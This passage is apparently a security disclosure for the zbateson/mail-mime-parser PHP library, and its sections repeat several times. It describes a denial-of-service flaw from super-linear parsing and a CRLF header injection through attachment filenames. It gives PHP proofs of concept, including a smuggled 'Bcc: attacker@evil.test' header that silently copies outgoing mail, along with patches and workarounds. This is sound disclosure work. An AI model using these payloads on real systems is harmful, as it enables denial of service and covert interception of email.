    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
3. Header buffering is unbounded. HeaderParserService::parse() reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;

function nestedMessage(int $depth): string {
    $head = ''; $tail = '';
    for ($i = 0; $i < $depth; $i++) {
        $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
    }   
    return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
    return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
        . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
    return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
    $t = microtime(true);
    count((new MailMimeParser())->parse($raw, false)->getAllParts());
    printf("%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\n",
        $label, strlen($raw) / 1048576, microtime(true) - $t,
        memory_get_peak_usage(true) / 1048576);
}

measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000',     siblingMessage(50000));
measure('headers=300000',     headerMessage(300000));

Run with a raised memory limit so the header case does not abort early:

php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB

Patches

Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.

Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)

Workarounds

These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

• ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
• The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

• Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

Impact

An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.

Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does not bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first getAllParts() or content read.

Details

1. Deep multipart nesting is O(depth²). MimeParserService::findContentBoundary() tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.
2. Many sibling parts is O(n²). PartChildrenContainer::add() appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call. The same container backs UUEncoded begin parts via NonMimeParserService.
